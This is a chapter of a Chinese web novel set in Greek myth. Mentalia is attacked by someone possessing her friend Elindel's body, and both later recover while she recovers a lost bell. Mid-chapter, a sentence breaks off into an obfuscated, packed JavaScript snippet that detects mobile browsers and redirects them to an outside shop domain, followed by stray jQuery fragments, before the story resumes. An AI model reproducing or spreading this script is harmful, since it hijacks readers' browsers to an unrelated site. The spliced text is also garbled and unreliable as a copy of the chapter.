37. 其一名为

作品:《[希腊神话]酒神她滴酒不沾

    “杀了我。”门塔利娅深呼一口气,重复了一遍。


    “那便如你所愿。”青年平静道。


    话音落下,他抬手虚握,一柄剑便缓缓成型,最终被他牢牢握在手里。


    正是那日遭遇盗匪时,艾林德尔曾召唤过的剑。


    门塔利娅不禁眉头微皱。


    此刻,他的神色真的与艾林德尔别无二致。望着完全相似的面庞,即便坚信眼前之人绝非是艾林德尔,她也不禁有一些恍惚。


    也仅仅是一些罢了。


    “你选择这里,是因为你也是精灵吧。”门塔利娅边后退边说道,“自然万物都亲和于精灵。在这里,你更好杀我,甚至更好掩埋我的尸体。”


    “随便你如何去想。”他提剑刺来。


    “你以为,我就没有什么自保的手段吗?”少女冷声道。


    青年手中的剑一顿,就在此时,整片树林活了。


    所有树木同时哗然作响,枝桠如觉醒的蛇群般疯长、交织,在青年眼前急速合拢成一道苍翠的屏障。


    只不过是一个转眼,她整个人都消失不见。


    青年收剑驻足,冷静环顾。林木仍在疯狂晃动枝桠,宛若被狂风摧折,可周遭并无一丝风动。除了枝叶摩擦的沙沙声,四下静得骇人。


    似乎……玩脱了。


    他怎么也想不到会到现在的地步。


    其实,他刚才不过是想挑逗门塔利娅一番,不料她软硬不吃,一个劲儿地问艾林德尔的去处。


    他最无法回答这个问题。


    因为即便回答出正确的答案,她也不会相信的。


    “真是越活越回去了。”他低声自嘲。


    就在这时,不远处一棵树突然开始疯狂向上生长,树干剧烈拔高,枝叶冲破林冠……但它还是依旧向上生长,好像要突破这天际似的。


    这自然吸引了他的注意力。


    他疾步上前,挥剑便朝树干斩去——门塔利娅必定藏身于此。只需逼她现身,再好好解释清楚。届时无论她信或不信,彼此就此分道扬镳。


    可剑触及到树的那一刻,所砍的并非是粗糙的树干,而是被一双柔软的手接住。


    他本能收力,却已来不及。


    鲜血瞬间涌出,浸红了剑锋,也染上他握剑的手指。


    剑,脱手而落。


    即将触地时,它并未发出金属碰撞的声响,反而在一阵微光中化作一株嫩绿的树苗,静静立在了泥土之上。


    他还未从这变故中完全回神,便被一声痛呼惊醒。


    “好痛好痛好痛,我的手!”


    那声音……


    “门塔利娅大人?”


    “艾林德尔?”少女不确定地说道。


    她的第一反应仍是怀疑这又是那人的伪装。可此刻眼前人的神情、语气,乃至那双眼中来不及掩饰的惊痛,都与之前那种刻意的模仿截然不同。


    这太像了。


    像到……仿佛真的是他。


    门塔利娅猛地后退两步,迅速拉开距离。双手仍在流血、颤抖。她死死盯着对方,圆睁的眼里盛满警觉,像一只受伤又警惕的幼兽。


    “别再伪装成他的样子了。”


    “很抱歉。”对方竟然也后退了好几步,神情恍惚得近乎破碎,“是我……伤了您吗,门塔利娅大人?”


    这声音里的小心翼翼,那种熟悉的、克制着情绪的询问方式——


    门塔利娅脑中飞快回溯之前与“那个艾林德尔”的每一句对话,每一个神情。她试图抓住任何一丝破绽,想从记忆里,辨认出挚友真实的轮廓。


    “艾林德尔……?”她低唤出声,更像是在问自己,“艾林德尔?”


    世界上哪里来得完全相像的人呢?除非他们……


    “我在。”他立刻回应,声音有些嘶哑,“我在这里。”


    此时艾林德尔的思绪很乱,他记得刚才自己发现了有人跟踪,门塔利娅大人正在他手上写字传递消息,随后他就失去了意识。


    而在不知所措之中,他再次失去了意识。


    “艾林德尔!”门塔利娅见他身形微晃,下意识想上前。


    可他的神情在刹那间变了。


    “你听好了。精灵王正在赶来的路上。别告诉她任何事,除非……你想让艾林德尔彻底消失。”


    话音落下的瞬间,他身体一软,向前倒去。


    “等等——”


    门塔利娅伸手去抓,可掌心的伤口鲜血未凝,湿滑之间,什么也没能握住。


    艾林德尔无声地倒在层层枯叶之中。


    少女随之脱力跪坐在地,眼前景象逐渐晕开、模糊。她恍惚地想:原来手上的伤……也会让人失血至昏迷。


    意识涣散之际,隐约有人哭着抱住了她,又哭着诉说着什么。


    四周声音嘈杂而遥远。她用尽最后的力气,朝艾林德尔的方向伸出手——哪怕只触到一片衣角,一点温度。


    也好。


    至少……


    “门塔利娅,你醒了!”


    “艾林德尔,你终于醒了!”


    两人被安置在同一间卧房的里屋与外室,因此苏醒的消息,几乎在同一时刻传了出去。


    二人隔着层层纱帘对望。


    门塔利娅在朦胧中,确定了那就是她的朋友,艾林德尔。她不知道,在目盲的艾林德尔眼中,仅凭心眼来观察人间的世界里,她是什么样子的呢?


    这个念头来不及细想,她便抢先开口解释现状:“我们被跟踪了。为求脱身,也避免牵连旁人,才选了那片密林暂避。”


    “对方的目标是我,”她垂下视线,看向自己已经结痂的双手,“艾林德尔为护我力竭昏迷,我也受了伤……幸好他最后催动林木发出异象。你们,是看到那个赶来的吧?”


    一连串话语说得太快,她喉间干涩,轻轻咳了一声。


    站在她床前的索风忙给她倒了杯水,“先不着急说这些,眼下你刚苏醒,缓一缓再说,也不迟。”


    门塔利娅乖巧接过陶杯,喝起水来。


    她的余光不自觉地瞥向艾林德尔,心想:他应该明白自己的意思了吧?


    对于那藏在艾林德尔身体里的人,她暂时也没办法,也没完全相信他的话。眼下的托词,也不过是想等艾林德尔知晓真相后,由他自己决定是否说给济慈听。


    “只是可惜,跟踪并企图杀害我们的那个人始终覆面,缠斗中,也没能他的面巾拉下。”艾林德尔的声音从外屋传来。


    他果然很聪明,能读懂自己的言外之意。门塔利娅捧着陶杯,唇角弯了弯。


    而索风见她这副神色,原本积攒的勇气又消散


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938725|192591||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了几分。明明当时面对意识模糊的门塔利娅就能说出口的……她不住的叹息。


    可是,越叹息,支持她说出那个秘密的勇气越少。


    最终她决定:等门塔利娅手上这道伤疤彻底淡去之后,再坦白那个秘密吧。


    于是,门塔利娅与艾林德尔就这样住在了执政官的府邸上养伤。


    不过在二人苏醒后,济慈就安排换了间房。在网上期间,两个人不住在一处。


    相处的时间也不如门塔利娅想象中多。单独相处的时间,更是没有。


    利奥斯时常前来探望艾林德尔。两人对坐交谈或是下棋,一晃便是一个下午。而门塔利娅这边,索风又总拉着她去街上闲逛。她想对艾林德尔说的话,始终寻不到合适的时机开口。


    算了,再让他多过几天安宁的日子吧。


    只是回忆起那串铃铛,门塔利娅还是觉得有些可惜的。她曾去过那辆马车上找过,也没找到,如今也不知到了何处。


    或许时因为偶然遗失,她在睡梦中,耳畔总依稀响起铃铛的细碎声响。然而每次醒来环顾四周,哪里有什么铃铛的影子。


    她想不到失而复得会来的如此突然。


    利奥斯又来看他的朋友了。这次,他还带着他的妹妹克洛伊。


    他们第一次到精灵府邸来看望时,门塔利娅就知晓了二人的真实身份。但她向来不在意这些,依旧保持着不疏不近的相处方式。


    这天,克洛伊非要拉上门塔利娅去她曾住过的那家旅店去买特色点心。


    一进店,店主就认出她来。


    “您虽未续住,却落下不少东西。一直不见您来取,我便暂且收着,等您再次光临时看看是否还有用。”


    就在店主将那一小包物品递过来时,门塔利娅敏锐地捕捉到了其中传来的,极其轻细的清脆的铃声。


    她心头一震。


    为了减少破绽,那日之后她鲜少提起这件事了。旁人也不与她说了。


    所以,她从未知道过这串铃铛被送到了旅店。


    门塔利娅从中取出造型奇特的铃铛。


    “听索风说,这枚铃铛是在你失踪后,突然出现在你曾住的房间的门上的。”克洛伊瞥了一眼铃铛,说道。


    门塔利娅忙向店主求证,“请问这铃铛是一位中年男人送来的吗?”这正是车夫的年纪。


    店主摇头,“抱歉,客人,我没有留意。不过应当不是中年男子。我这店里往来的多是年轻旅人,近日若有那样的客人进来,我定会有印象。”


    店主的话令门塔利娅心头又是一震。


    她原以为,给车夫施咒的也是艾林德尔身体的那位,但现在看来,那日确实有人跟踪他们。


    回程路上,克洛伊拎着新买的糕点,步履轻快。门塔利娅却沉默地走在后面,心事重重。


    这件事,好像没有尽头。


    与此同时,精灵王府邸内。


    艾林德尔靠在床头,双眼紧闭。


    他在意识深处冷冷质问那道浮现在他眼前的虚影,“是你夺走我的身体……还伤了她?”


    那人显得很是乖巧,他心虚地说:“只是想吓唬她一下,然后去做一些我想去做的事。”


    “而且要不是我显露了气息,跟踪你们的那个人真的会把你们——至少是把你,杀死哦。”